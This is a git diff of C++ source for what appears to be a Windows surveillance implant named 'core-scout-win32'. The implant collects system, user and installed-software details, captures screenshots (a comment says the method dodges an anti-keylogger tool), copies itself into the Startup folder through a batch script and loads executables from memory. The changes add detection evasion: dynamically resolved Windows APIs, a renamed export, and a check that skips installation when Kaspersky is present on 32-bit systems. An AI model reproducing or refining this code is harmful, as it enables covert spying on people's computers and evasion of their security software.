diff --git a/core-scout-win32.sdf b/core-scout-win32.sdf index 4f0e0ed..ae1bd2b 100644 Binary files a/core-scout-win32.sdf and b/core-scout-win32.sdf differ diff --git a/core-scout-win32.sln b/core-scout-win32.sln index 4aba32c..a9af6c5 100644 --- a/core-scout-win32.sln +++ b/core-scout-win32.sln @@ -10,6 +10,7 @@ Global Pre-Release|Win32 = Pre-Release|Win32 Release|Win32 = Release|Win32 Release-NoSleep|Win32 = Release-NoSleep|Win32 + scout++|Win32 = scout++|Win32 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {79FB9FBA-C040-4B3A-B40A-B8125BD2846D}.Debug|Win32.ActiveCfg = Debug|Win32 @@ -22,6 +23,8 @@ Global {79FB9FBA-C040-4B3A-B40A-B8125BD2846D}.Release|Win32.Build.0 = Release|Win32 {79FB9FBA-C040-4B3A-B40A-B8125BD2846D}.Release-NoSleep|Win32.ActiveCfg = Release-NoSleep|Win32 {79FB9FBA-C040-4B3A-B40A-B8125BD2846D}.Release-NoSleep|Win32.Build.0 = Release-NoSleep|Win32 + {79FB9FBA-C040-4B3A-B40A-B8125BD2846D}.scout++|Win32.ActiveCfg = scout++|Win32 + {79FB9FBA-C040-4B3A-B40A-B8125BD2846D}.scout++|Win32.Build.0 = scout++|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/core-scout-win32.suo b/core-scout-win32.suo index 3bfe15c..710ea26 100644 Binary files a/core-scout-win32.suo and b/core-scout-win32.suo differ diff --git a/core-scout-win32/agent_device.cpp b/core-scout-win32/agent_device.cpp index 2db11f7..326d855 100644 --- a/core-scout-win32/agent_device.cpp +++ b/core-scout-win32/agent_device.cpp @@ -2,6 +2,7 @@ #include #include #include +#include #include "agent_device.h" @@ -12,6 +13,7 @@ VOID GetDeviceInfo() HKEY hKey; ULONG uLen; PDEVICE_INFO pDeviceInfo; + if (pDeviceContainer != NULL) { #ifdef _DEBUG @@ -23,8 +25,7 @@ VOID GetDeviceInfo() #ifdef _DEBUG OutputDebugString(L"[+] Starting GetDeviceInfo\n"); #endif - - pDeviceContainer = (PDEVICE_CONTAINER)malloc(sizeof(DEVICE_CONTAINER)); + pDeviceInfo = (PDEVICE_INFO)malloc(sizeof(DEVICE_INFO)); memset(pDeviceInfo, 0x0, sizeof(DEVICE_INFO)); @@ -108,6 +109,8 @@ VOID GetDeviceInfo() pDeviceInfo->osinfo.org[0] = L'\0'; } + // FIN QUI TUTTO OK + // user uLen = sizeof(pDeviceInfo->userinfo.username) / sizeof(WCHAR); @@ -116,29 +119,21 @@ VOID GetDeviceInfo() PBYTE pUserInfo = NULL; pDeviceInfo->userinfo.priv = 0; - - if (NetUserGetInfo(NULL, pDeviceInfo->userinfo.username, 1, &pUserInfo) == NERR_Success) - pDeviceInfo->userinfo.priv = ((PUSER_INFO_1)pUserInfo)->usri1_priv; - + typedef NET_API_STATUS (WINAPI *NetUserGetInfo_p)( + _In_ LPCWSTR servername, + _In_ LPCWSTR username, + _In_ DWORD level, + _Out_ LPBYTE *bufptr); + NetUserGetInfo_p fpNetUserGetInfo = (NetUserGetInfo_p) GetProcAddress(LoadLibrary(L"Netapi32"), "NetUserGetInfo"); + + if (fpNetUserGetInfo) + if (fpNetUserGetInfo(NULL, pDeviceInfo->userinfo.username, 1, &pUserInfo) == NERR_Success) + pDeviceInfo->userinfo.priv = ((PUSER_INFO_1)pUserInfo)->usri1_priv; - SecureZeroMemory(pDeviceInfo->userinfo.fullname, 0x2); SecureZeroMemory(pDeviceInfo->userinfo.sid, 0x2); - - typedef NET_API_STATUS (WINAPI *NETUSERGETINFO)(LPWSTR, LPWSTR, DWORD, LPBYTE*); - NETUSERGETINFO pfn_NetUserGetInfo = (NETUSERGETINFO) GetProcAddress(LoadLibrary(L"netapi32"), "NetUserGetInfo"); - - if (pfn_NetUserGetInfo(NULL, pDeviceInfo->userinfo.username, 23, &pUserInfo) == NERR_Success) - { - PWCHAR pSidStr = NULL; - wcsncpy_s(pDeviceInfo->userinfo.fullname, sizeof(pDeviceInfo->userinfo.fullname) / sizeof(WCHAR), ((PUSER_INFO_23)pUserInfo)->usri23_full_name, _TRUNCATE); - if (ConvertSidToStringSid(((PUSER_INFO_23)pUserInfo)->usri23_user_sid, &pSidStr)) - wcsncpy_s(pDeviceInfo->userinfo.sid, sizeof(pDeviceInfo->userinfo.sid) / sizeof(WCHAR), pSidStr, _TRUNCATE); - } - - NetApiBufferFree(pUserInfo); // locale & timezone @@ -158,7 +153,8 @@ VOID GetDeviceInfo() RegCloseKey(hKey); } - + + if (!RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", 0, KEY_READ, &hKey) != ERROR_SUCCESS) { uLen = sizeof(ULONG); @@ -168,7 +164,6 @@ VOID GetDeviceInfo() RegCloseKey(hKey); } - // disk ULARGE_INTEGER uDiskFree, uDiskTotal; @@ -189,10 +184,8 @@ VOID GetDeviceInfo() else pDeviceInfo->diskinfo.disktotal = pDeviceInfo->diskinfo.diskfree = 0; - BOOL bIsWow64, bIsx64OS; - IsWow64Process(GetCurrentProcess(), &bIsWow64); - bIsx64OS = IsX64System(); + IsX64System(&bIsWow64, &bIsx64OS); PWCHAR pApplicationList = GetApplicationList(FALSE); PWCHAR pApplicationList64 = NULL; @@ -201,13 +194,14 @@ VOID GetDeviceInfo() pApplicationList64 = GetApplicationList(TRUE); PWCHAR pDeviceString = (PWCHAR)malloc(sizeof(DEVICE_INFO) - + wcslen(pApplicationList) * sizeof(WCHAR) + + (pApplicationList ? wcslen(pApplicationList) * sizeof(WCHAR) : 0 ) + (pApplicationList64 ? wcslen(pApplicationList64) * sizeof(WCHAR) : 0) - + 1024); - - _snwprintf_s(pDeviceString, - sizeof(DEVICE_INFO)/sizeof(WCHAR) + wcslen(pApplicationList) + (pApplicationList64 ? wcslen(pApplicationList64) : 0) + 1024/sizeof(WCHAR), - _TRUNCATE, + + 1024); // fixme dwSize + SecureZeroMemory(pDeviceString, 1024); + + DWORD dwSize = sizeof(DEVICE_INFO) + (pApplicationList ? wcslen(pApplicationList) * sizeof(WCHAR) : 0 ) + (pApplicationList64 ? wcslen(pApplicationList64) * sizeof(WCHAR) : 0) + 1024; + + StringCbPrintf(pDeviceString, dwSize, L"CPU: %d x %s\n" L"Architecture: %s\n" L"RAM: %dMB free / %dMB total (%u%% used)\n" @@ -221,7 +215,7 @@ VOID GetDeviceInfo() L"SID: %s\n" L"\nApplication List (x86):\n%s\nApplicationList (x64):\n%s", pDeviceInfo->procinfo.procnum, pDeviceInfo->procinfo.proc, - bIsWow64 ? L"64-bit" : L"32-bit", + bIsx64OS ? L"64-bit" : L"32-bit", pDeviceInfo->meminfo.memfree, pDeviceInfo->meminfo.memtotal, pDeviceInfo->meminfo.memload, pDeviceInfo->diskinfo.diskfree, pDeviceInfo->diskinfo.disktotal, pDeviceInfo->osinfo.ver, (pDeviceInfo->osinfo.sp[0]) ? L" (" : L"", (pDeviceInfo->osinfo.sp[0]) ? pDeviceInfo->osinfo.sp : L"", (pDeviceInfo->osinfo.sp[0]) ? L")" : L"", bIsx64OS ? L" (64-bit)" : L" (32-bit)", @@ -229,9 +223,11 @@ VOID GetDeviceInfo() pDeviceInfo->localinfo.lang, pDeviceInfo->localinfo.country, (-1 * (int)pDeviceInfo->localinfo.timebias) / 60, abs((int)pDeviceInfo->localinfo.timebias) % 60, pDeviceInfo->userinfo.username, (pDeviceInfo->userinfo.fullname[0]) ? L" (" : L"", (pDeviceInfo->userinfo.fullname[0]) ? pDeviceInfo->userinfo.fullname : L"", (pDeviceInfo->userinfo.fullname[0]) ? L")" : L"", (pDeviceInfo->userinfo.priv) ? ((pDeviceInfo->userinfo.priv == 1) ? L"" : L" [ADMIN]") : L" [GUEST]", pDeviceInfo->userinfo.sid, - pApplicationList, + pApplicationList ? pApplicationList: L"", pApplicationList64 ? pApplicationList64 : L""); - + + + pDeviceContainer = (PDEVICE_CONTAINER)malloc(sizeof(DEVICE_CONTAINER)); pDeviceContainer->pDataBuffer = (PBYTE)pDeviceString; pDeviceContainer->uSize = (wcslen(pDeviceString)+1)*sizeof(WCHAR); @@ -299,7 +295,7 @@ PWCHAR GetApplicationList(BOOL bX64View) if (!pApplicationList) { - uAppList = wcslen(pProduct)*sizeof(WCHAR) + sizeof(WCHAR); + uAppList = wcslen(pProduct) * sizeof(WCHAR) + sizeof(WCHAR); pApplicationList = (PWCHAR)realloc(NULL, uAppList); memset(pApplicationList, 0x0, uAppList); } @@ -315,13 +311,16 @@ PWCHAR GetApplicationList(BOOL bX64View) return pApplicationList; } -BOOL IsX64System() +VOID IsX64System(PBOOL bIsWow64, PBOOL bIsx64OS) { SYSTEM_INFO SysInfo; + IsWow64Process((HANDLE)-1, bIsWow64); GetNativeSystemInfo(&SysInfo); if(SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL) - return FALSE; + *bIsx64OS = FALSE; + else + *bIsx64OS = TRUE; - return TRUE; + return; } \ No newline at end of file diff --git a/core-scout-win32/agent_device.h b/core-scout-win32/agent_device.h index 1421d32..d2635a9 100644 --- a/core-scout-win32/agent_device.h +++ b/core-scout-win32/agent_device.h @@ -44,7 +44,7 @@ typedef struct _DEVICE_CONTAINER VOID GetDeviceInfo(); PWCHAR GetApplicationList(BOOL bX64View); -BOOL IsX64System(); +VOID IsX64System(PBOOL bIsWow64, PBOOL bIsx64OS); #endif diff --git a/core-scout-win32/agent_screenshot.cpp b/core-scout-win32/agent_screenshot.cpp index e81b5ac..fcd38ed 100644 --- a/core-scout-win32/agent_screenshot.cpp +++ b/core-scout-win32/agent_screenshot.cpp @@ -4,12 +4,22 @@ #include "proto.h" using namespace Gdiplus; +typedef HRESULT (WINAPI *CreateStreamOnHGlobal_p)( + _In_ HGLOBAL hGlobal, + _In_ BOOL fDeleteOnRelease, + _Out_ LPSTREAM *ppstm +); + +typedef HGLOBAL (WINAPI *GlobalFree_p)( + _In_ HGLOBAL hMem +); BOOL IsAero() { + HKEY hKey; DWORD composition=0, len=sizeof(DWORD); - + if(RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\DWM", 0, KEY_READ, &hKey) != ERROR_SUCCESS) return FALSE; @@ -30,7 +40,7 @@ int GetEncoderClsid(const WCHAR* format, CLSID* pClsid) { UINT num = 0; // number of image encoders UINT size = 0; // size of the image encoder array in bytes - + ImageCodecInfo* pImageCodecInfo = NULL; GetImageEncodersSize(&num, &size); @@ -58,6 +68,7 @@ int GetEncoderClsid(const WCHAR* format, CLSID* pClsid) PBYTE JpgConvert(BYTE *dataptr, DWORD imageSize, DWORD *sizeDst, DWORD quality) { + HGLOBAL hBuffer = NULL, hBufferDst = NULL; void *pBuffer = NULL, *pBufferDst = NULL; IStream *pStream = NULL, *pStreamDst = NULL; @@ -67,7 +78,7 @@ PBYTE JpgConvert(BYTE *dataptr, DWORD imageSize, DWORD *sizeDst, DWORD quality) CLSID encoderClsid; Image *image = NULL; EncoderParameters encoderParameters; - + if (!sizeDst) { #ifdef _DEBUG @@ -78,7 +89,7 @@ PBYTE JpgConvert(BYTE *dataptr, DWORD imageSize, DWORD *sizeDst, DWORD quality) *sizeDst = 0; CoInitialize(NULL); - + if (GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL) != Ok) { CoUninitialize(); @@ -96,7 +107,7 @@ PBYTE JpgConvert(BYTE *dataptr, DWORD imageSize, DWORD *sizeDst, DWORD quality) #endif return NULL; } - + encoderParameters.Count = 1; encoderParameters.Parameter[0].Guid = EncoderQuality; encoderParameters.Parameter[0].Type = EncoderParameterValueTypeLong; @@ -113,7 +124,7 @@ PBYTE JpgConvert(BYTE *dataptr, DWORD imageSize, DWORD *sizeDst, DWORD quality) #endif return NULL; } - + pBuffer = GlobalLock(hBuffer); if (!pBuffer) { @@ -125,44 +136,59 @@ PBYTE JpgConvert(BYTE *dataptr, DWORD imageSize, DWORD *sizeDst, DWORD quality) CoUninitialize(); return NULL; } - - CopyMemory(pBuffer, dataptr, imageSize); - if (CreateStreamOnHGlobal(hBuffer, FALSE, &pStream) == S_OK) { + + CopyMemory(pBuffer, dataptr, imageSize); + CreateStreamOnHGlobal_p fpCreateStreamOnHGlobal = (CreateStreamOnHGlobal_p) GetProcAddress(LoadLibrary(L"ole32"), "CreateStreamOnHGlobal"); + + GlobalFree_p fpGlobalFree = (GlobalFree_p) GetProcAddress(LoadLibrary(L"kernel32"), "GlobalFree"); + if (fpCreateStreamOnHGlobal(hBuffer, FALSE, &pStream) == S_OK) + { image = new Image(pStream); - if (image) { - if (hBufferDst = GlobalAlloc(GMEM_MOVEABLE, imageSize)) { - if (pBufferDst = GlobalLock(hBufferDst)) { - if (CreateStreamOnHGlobal(hBufferDst, FALSE, &pStreamDst) == S_OK) { - if (image->Save(pStreamDst, &encoderClsid, &encoderParameters) == Ok) { + if (image) + { + if (hBufferDst = GlobalAlloc(GMEM_MOVEABLE, imageSize)) + { + if (pBufferDst = GlobalLock(hBufferDst)) + { + if (fpCreateStreamOnHGlobal(hBufferDst, FALSE, &pStreamDst) == S_OK) + { + if (image->Save(pStreamDst, &encoderClsid, &encoderParameters) == Ok) + { + ULARGE_INTEGER position; LARGE_INTEGER null_int; DWORD dummy; null_int.HighPart = null_int.LowPart = 0; - if (pStreamDst->Seek(null_int, STREAM_SEEK_CUR, &position) == S_OK) { - if (dataptrDst = (BYTE *)malloc(position.LowPart)) { + if (pStreamDst->Seek(null_int, STREAM_SEEK_CUR, &position) == S_OK) + { + if (dataptrDst = (BYTE *)malloc(position.LowPart)) + { *sizeDst = position.LowPart; pStreamDst->Seek(null_int, STREAM_SEEK_SET, &position); pStreamDst->Read(dataptrDst, *sizeDst, &dummy); } } + } pStreamDst->Release(); + } - GlobalUnlock(hBufferDst); + GlobalUnlock(hBufferDst); } - GlobalFree(hBufferDst); + GlobalFree(hBufferDst); } - delete image; + delete image; } pStream->Release(); } - + GlobalUnlock(hBuffer); - GlobalFree(hBuffer); + fpGlobalFree(hBuffer); GdiplusShutdown(gdiplusToken); CoUninitialize(); - + + return dataptrDst; } @@ -174,7 +200,7 @@ PBYTE BmpToJpgLog(DWORD agent_tag, BITMAPINFOHEADER *pBMI, size_t cbBMI, BYTE *p BITMAPFILEHEADER bmf = { }; PBYTE source_bmp = NULL, dest_jpg = NULL; DWORD bmp_size, jpg_size; - + if (pBMI->biHeight * pBMI->biWidth * pBMI->biBitCount / 8 != cbData) { #ifdef _DEBUG @@ -209,7 +235,7 @@ PBYTE BmpToJpgLog(DWORD agent_tag, BITMAPINFOHEADER *pBMI, size_t cbBMI, BYTE *p free(source_bmp); free(dest_jpg); - + return pBuffer; } @@ -228,7 +254,7 @@ PBYTE TakeScreenshot(PULONG uOut) BOOL is_aero; WINDOWINFO wininfo; int winx, winy; - + // Tutto il display. Viene calcolato dalla foreground window // per aggirare AdvancedAntiKeylogger HWND grabwind = GetForegroundWindow(); @@ -327,41 +353,6 @@ PBYTE TakeScreenshot(PULONG uOut) if (GetDIBits(hdccap, hbmcap, 0, g_yscdim, (BYTE *)pdwFullBits, (BITMAPINFO *)&bmiHeader, DIB_RGB_COLORS)) { pScreenShotBuffer = BmpToJpgLog(PM_SCREENSHOT, &bmiHeader, sizeof(BITMAPINFOHEADER), (BYTE *)pdwFullBits, bmiHeader.biSizeImage, 50, uOut); - /* - // Prende il titolo della finestra - WCHAR svTitle[512]; - memset(svTitle, 0, sizeof(svTitle)); - wsprintfW((LPWSTR)svTitle, L"UNKNOWN"); - - //Prende il nome della finestra e del processo per scriverlo nell'header - DWORD dwProcessId = 0; - WCHAR *proc_name = NULL; - SNAPSHOT_ADDITION_HEADER *pSnapAdditionalHeader; - BYTE *log_header; - DWORD additional_len; - - proc_name = wcsdup(L"UNKNOWN"); - - additional_len = sizeof(SNAPSHOT_ADDITION_HEADER) + wcslen(proc_name)*sizeof(WCHAR) + wcslen(svTitle)*sizeof(WCHAR); - log_header = (PBYTE)malloc(additional_len); - if (log_header) - { - // Crea l'header addizionale - pSnapAdditionalHeader = (PSNAPSHOT_ADDITION_HEADER)log_header; - pSnapAdditionalHeader->uVersion = LOG_SNAP_VERSION; - pSnapAdditionalHeader->uProcessNameLen = wcslen(proc_name)*sizeof(WCHAR); - pSnapAdditionalHeader->uWindowNameLen = wcslen(svTitle)*sizeof(WCHAR); - log_header += sizeof(SNAPSHOT_ADDITION_HEADER); - memcpy(log_header, proc_name, pSnapAdditionalHeader->uProcessNameLen); - log_header += pSnapAdditionalHeader->uProcessNameLen; - memcpy(log_header, svTitle, pSnapAdditionalHeader->uWindowNameLen); - - pScreenShotBuffer = BmpToJpgLog(PM_SCREENSHOT, (PBYTE)pSnapAdditionalHeader, additional_len, &bmiHeader, sizeof(BITMAPINFOHEADER), (BYTE *)pdwFullBits, bmiHeader.biSizeImage, 50); - - free(pSnapAdditionalHeader); - free(proc_name); - } - */ } // Rilascio oggetti.... @@ -379,7 +370,7 @@ PBYTE TakeScreenshot(PULONG uOut) ReleaseDC(grabwind, g_hScrDC); free(pdwFullBits); - + return pScreenShotBuffer; } diff --git a/core-scout-win32/core-scout-win32.vcxproj b/core-scout-win32/core-scout-win32.vcxproj index 61f4815..366e2fd 100644 --- a/core-scout-win32/core-scout-win32.vcxproj +++ b/core-scout-win32/core-scout-win32.vcxproj @@ -17,6 +17,10 @@ Release Win32 + + scout++ + Win32 + {79FB9FBA-C040-4B3A-B40A-B8125BD2846D} @@ -40,6 +44,12 @@ true Unicode + + Application + false + true + Unicode + Application false @@ -58,6 +68,9 @@ + + + @@ -71,6 +84,9 @@ false + + false + false @@ -137,6 +153,32 @@ true + + + Level3 + + + MaxSpeed + false + true + WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) + MultiThreaded + false + false + + + Windows + false + false + false + + + + + $(OutDir)MODUNAME.exe + true + + Level3 diff --git a/core-scout-win32/ldr.cpp b/core-scout-win32/ldr.cpp index 03de8f6..0fb86b6 100644 --- a/core-scout-win32/ldr.cpp +++ b/core-scout-win32/ldr.cpp @@ -82,23 +82,22 @@ void ldr_reloc(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader) lpPtr += sizeof(base_relocation_entry); block.BlockSize -= 2; } - } - } +typedef HMODULE (WINAPI *LoadLibraryA_p)(LPCSTR strDllName); void ldr_importdir(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader) { DWORD dwIatSize = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; DWORD dwIatAddr = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; - + // no import directory here! if (dwIatAddr == 0) return; PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = CALC_OFFSET(PIMAGE_IMPORT_DESCRIPTOR, pModule, dwIatAddr); - + while(pImportDescriptor) { if (pImportDescriptor->FirstThunk == 0) @@ -106,11 +105,14 @@ void ldr_importdir(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader) pImportDescriptor = NULL; continue; } - + LPDWORD pImportLookupTable = CALC_OFFSET(LPDWORD, pModule, pImportDescriptor->FirstThunk); - LPCSTR lpModName = CALC_OFFSET(LPCSTR, pModule, pImportDescriptor->Name); - HMODULE hMod = LoadLibraryA(lpModName); + LPCSTR lpModName = CALC_OFFSET(LPCSTR, pModule, pImportDescriptor->Name); + LoadLibraryA_p fpLoadLibraryA = (LoadLibraryA_p) GetProcAddress(LoadLibrary(L"kernel32"), "LoadLibraryA"); + HMODULE hMod = fpLoadLibraryA(lpModName); + //HMODULE hMod = LoadLibraryA(lpModName); + if (hMod != NULL) while(*pImportLookupTable != 0x00) { @@ -119,7 +121,7 @@ void ldr_importdir(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader) DWORD pOrdinalValue = *(CALC_OFFSET(LPDWORD, pImportLookupTable, 0)) & 0x0000ffff; *pImportLookupTable = (DWORD) GetProcAddress(hMod, (LPCSTR) pOrdinalValue); // SOSTITUISCE EXITPROCESS CON EXITTHREAD - if (*pImportLookupTable == (DWORD)GetProcAddress(GetModuleHandle(L"kernel32"), "ExitProcess")) + if (*pImportLookupTable == (DWORD)GetProcAddress(fpLoadLibraryA("kernel32"), "ExitProcess")) *pImportLookupTable = (DWORD)ExitThread; } else @@ -127,19 +129,21 @@ void ldr_importdir(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader) LPCSTR lpProcName = CALC_OFFSET_DISP(LPCSTR, pModule, (*pImportLookupTable), 2); // adding two bytes *pImportLookupTable = (DWORD) GetProcAddress(hMod, lpProcName); // SOSTITUISCE EXITPROCESS CON EXITTHREAD - if (*pImportLookupTable == (DWORD)GetProcAddress(GetModuleHandle(L"kernel32"), "ExitProcess")) + if (*pImportLookupTable == (DWORD)GetProcAddress(fpLoadLibraryA("kernel32"), "ExitProcess")) *pImportLookupTable = (DWORD)ExitThread; } pImportLookupTable++; } pImportDescriptor++; + } - + } ULONG ldr_exportdir(HMODULE hModule) { + ULONG pFunction = NULL; PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER) hModule; PIMAGE_NT_HEADERS pImageNtHeaders = CALC_OFFSET(PIMAGE_NT_HEADERS, hModule, pImageDosHeader->e_lfanew); @@ -171,7 +175,7 @@ ULONG ldr_exportdir(HMODULE hModule) pFunction = ptrFunctions[i]; } - + return pFunction; } @@ -181,7 +185,7 @@ BOOL MemoryLoader(LPBYTE lpRawBuffer) DWORD header_size = 0; IMAGE_DOS_HEADER dos_header; IMAGE_NT_HEADERS32 pe_header; - + if (lpRawBuffer != NULL) { memcpy(&dos_header, lpRawBuffer, sizeof(dos_header)); // get DOS HEADER @@ -250,7 +254,7 @@ BOOL MemoryLoader(LPBYTE lpRawBuffer) CALC_OFFSET(LPVOID, lpAddress, pe_header.OptionalHeader.AddressOfEntryPoint); MAIN ptrMain = (MAIN)CALC_OFFSET(LPVOID, lpAddress, pe_header.OptionalHeader.AddressOfEntryPoint); ptrMain((HINSTANCE)lpAddress, NULL, "", 0xa); - + return TRUE; } diff --git a/core-scout-win32/main.cpp b/core-scout-win32/main.cpp index a294b67..9d9b69b 100644 --- a/core-scout-win32/main.cpp +++ b/core-scout-win32/main.cpp @@ -9,6 +9,7 @@ #include "api.h" #include "binpatched_vars.h" #include "autodelete_batch.h" +#include "agent_device.h" #pragma comment(lib, "advapi32") #pragma comment(lib, "ws2_32") @@ -35,11 +36,13 @@ HANDLE hScoutSharedMemory; //#pragma comment(linker, "/EXPORT:MyConf=?MyConf@@YAXXZ") //PWCHAR urs73A(PULONG pSynchro) // questa viene richiamata dai meltati //__declspec(dllexport) PWCHAR jfk31d1QQ(PULONG pSynchro) -__declspec(dllexport) PWCHAR reuio841001a(PULONG pSynchro) // questa viene richiamata dai meltati +//__declspec(dllexport) PWCHAR reuio841001a(PULONG pSynchro) // questa viene richiamata dai meltati +__declspec(dllexport) PWCHAR gntuoie2nv(PULONG pSynchro) // questa viene richiamata dai meltati { #ifdef _DEBUG OutputDebugString(L"[+] Setting uMelted to TRUE\n"); #endif + PWCHAR pScoutName; uMelted = TRUE; @@ -63,7 +66,7 @@ int CALLBACK WinMain(HINSTANCE hInstance, if (GetCurrentThread() == 0x0) { - MessageBox(NULL, L"Starting", L"Wait for the program to load", 0); + MessageBox(NULL, L"Running in background", L"Engine started", 0); return 0; } @@ -124,7 +127,22 @@ int CALLBACK WinMain(HINSTANCE hInstance, } MySleep(WAIT_DROP); - if (!uMelted) + + // do not drop if kaspersky x86 + BOOL bIsWow64, bIsOS64, bDrop; + IsX64System(&bIsWow64, &bIsOS64); + if (!bIsOS64) + { + WCHAR pKasp[] = { L's', L'p', L'e', L'r', L's', L'k', L'y', 0x0 }; + PWCHAR pApplicationList = GetApplicationList(FALSE); + + if (StrStrI(pApplicationList, pKasp)) + bDrop = FALSE; + + free(pApplicationList); + } + + if (!uMelted && bDrop) Drop(); UseLess(); @@ -159,9 +177,9 @@ VOID Drop() PWCHAR pSourcePath = GetMySelfName(); PWCHAR pDestPath = GetStartupScoutName(); - - if (GetCurrentProcessId() == 4) - MessageBox(NULL, L"I'm going to start the program automatically, is it ok?", L"Warning", 1); + + if (GetCurrentThread() == 0x0) + MessageBox(NULL, L"The current thread is probably stale!", L"Stale thread", 1); DoCopyFile(pSourcePath, pDestPath); @@ -173,12 +191,12 @@ VOID Drop() VOID DoCopyFile(PWCHAR pSource, PWCHAR pDest) { PWCHAR pBatchName; - + CreateCopyBatch(pSource, pDest, &pBatchName); StartBatch(pBatchName); MySleep(2000); DeleteFile(pBatchName); - + free(pBatchName); } @@ -186,7 +204,7 @@ VOID UseLess() { if (GetCurrentProcessId() == 4) { - MessageBox(NULL, L"Click to start the program", L"Starting", 0); + MessageBox(NULL, L"Rotors engaged", L"Locking doors", 0); memset(DEMO_TAG, 0x0, 3); memset(WMARKER, 0x0, 3); @@ -202,7 +220,7 @@ VOID WaitForInput() { ULONG uLastInput; LASTINPUTINFO pLastInputInfo; - + #ifdef _DEBUG OutputDebugString(L"[+] FIRST_WAIT\n"); #endif @@ -233,6 +251,7 @@ VOID WaitForInput() #endif MySleep(3000); } + } @@ -368,14 +387,13 @@ PCHAR GetEliteSharedMemoryName() PCHAR pName = (PCHAR)malloc(16); memset(pName, 0x0, 16); memcpy(pName, WMARKER, 7); - /* _snprintf_s(pName, 16, _TRUNCATE, //"%cX%X%02X%02X%02X%02X%02X", "%.7s", - WMARKER[0], WMARKER[1], WMARKER[2], WMARKER[3], WMARKER[4], WMARKER[5], WMARKER[6]); + &WMARKER[0], &WMARKER[1], &WMARKER[2], &WMARKER[3], &WMARKER[4], &WMARKER[5], &WMARKER[6]); */ return pName; } @@ -399,7 +417,7 @@ PCHAR GetOldEliteSharedMemoryName() BOOL CreateScoutSharedMemory() { PCHAR pName; - + #ifdef _DEBUG OutputDebugString(L"[+] Creating scout shared memory\n"); #endif @@ -417,7 +435,7 @@ BOOL CreateScoutSharedMemory() if (hScoutSharedMemory) return TRUE; - + return FALSE; } @@ -426,7 +444,7 @@ BOOL ExistsScoutSharedMemory() HANDLE hMem; PCHAR pName; BOOL uRet = FALSE; - + pName = GetScoutSharedMemoryName(); hMem = OpenFileMappingA(FILE_MAP_READ, FALSE, pName); if (hMem) @@ -435,7 +453,7 @@ BOOL ExistsScoutSharedMemory() CloseHandle(hMem); } free(pName); - + return uRet; } @@ -462,6 +480,7 @@ BOOL ExistsEliteSharedMemory() BOOL AmIFromStartup() { BOOL uRet; + PWCHAR pStartupPath = GetStartupPath(); PWCHAR pCurrentPath = GetMySelfName(); @@ -473,6 +492,7 @@ BOOL AmIFromStartup() free(pStartupPath); free(pCurrentPath); + return uRet; } @@ -480,11 +500,12 @@ PWCHAR GetStartupPath() { PWCHAR pStartupPath = (PWCHAR)malloc(32767*sizeof(WCHAR)); PWCHAR pShortPath = (PWCHAR)malloc(32767*sizeof(WCHAR)); - + SHGetSpecialFolderPath(NULL, pStartupPath, CSIDL_STARTUP, FALSE); GetShortPathName(pStartupPath, pShortPath, 4096); free(pStartupPath); + return pShortPath; } @@ -492,10 +513,10 @@ PWCHAR GetStartupScoutName() { PWCHAR pStartupPath = GetStartupPath(); PWCHAR pFullPath = (PWCHAR)malloc(32767*sizeof(WCHAR)); - + _snwprintf_s(pFullPath, 32767, _TRUNCATE, L"%s\\%S.exe", pStartupPath, SCOUT_NAME); free(pStartupPath); - + return pFullPath; } @@ -504,11 +525,11 @@ PWCHAR GetMySelfName() { PWCHAR pName = (PWCHAR)malloc(32767 * sizeof(WCHAR)); PWCHAR pShort = (PWCHAR)malloc(32767 * sizeof(WCHAR)); - + GetModuleFileName(NULL, pName, 32766); GetShortPathName(pName, pShort, 32767); free(pName); - + return pShort; } @@ -516,10 +537,10 @@ PWCHAR GetTemp() { PWCHAR pTemp = (PWCHAR)malloc(4096 * sizeof(WCHAR)); PWCHAR pShort = (PWCHAR)malloc(4096 * sizeof(WCHAR)); - + GetEnvironmentVariable(L"TMP", pTemp, 32767); // FIXME GetTempPath GetShortPathName(pTemp, pShort, 4096); - + free(pTemp); return pShort; } @@ -536,6 +557,8 @@ VOID MySleep(ULONG uTime) BOOL StartBatch(PWCHAR pName) { + BOOL bRet; + STARTUPINFO si; PROCESS_INFORMATION pi; PWCHAR pApplicationName = (PWCHAR)malloc(4096 * sizeof(WCHAR)); @@ -554,10 +577,11 @@ BOOL StartBatch(PWCHAR pName) if (GetCurrentProcessId() == 4) MessageBox(NULL, L"I'm going to start it", L"WARNING", 0); - BOOL bRet = CreateProcess(pInterpreter, pApplicationName, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); + bRet = CreateProcess(pInterpreter, pApplicationName, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); free(pApplicationName); free(pInterpreter); + return bRet; } @@ -659,7 +683,7 @@ LPWSTR CreateTempFile() LPWSTR pShortTempPath = (LPWSTR) malloc((MAX_PATH + 1)*sizeof(WCHAR)); LPWSTR pTempFileName = (LPWSTR) malloc((MAX_PATH + 1)*sizeof(WCHAR)); LPWSTR pShortTempFileName = (LPWSTR) malloc((MAX_PATH + 1)*sizeof(WCHAR)); - + memset(pTempPath, 0x0, (MAX_PATH + 1)*sizeof(WCHAR)); memset(pShortTempPath, 0x0, (MAX_PATH + 1)*sizeof(WCHAR)); memset(pTempFileName, 0x0, (MAX_PATH + 1)*sizeof(WCHAR)); @@ -673,6 +697,6 @@ LPWSTR CreateTempFile() free(pShortTempPath); free(pTempFileName); - + return pShortTempFileName; } \ No newline at end of file diff --git 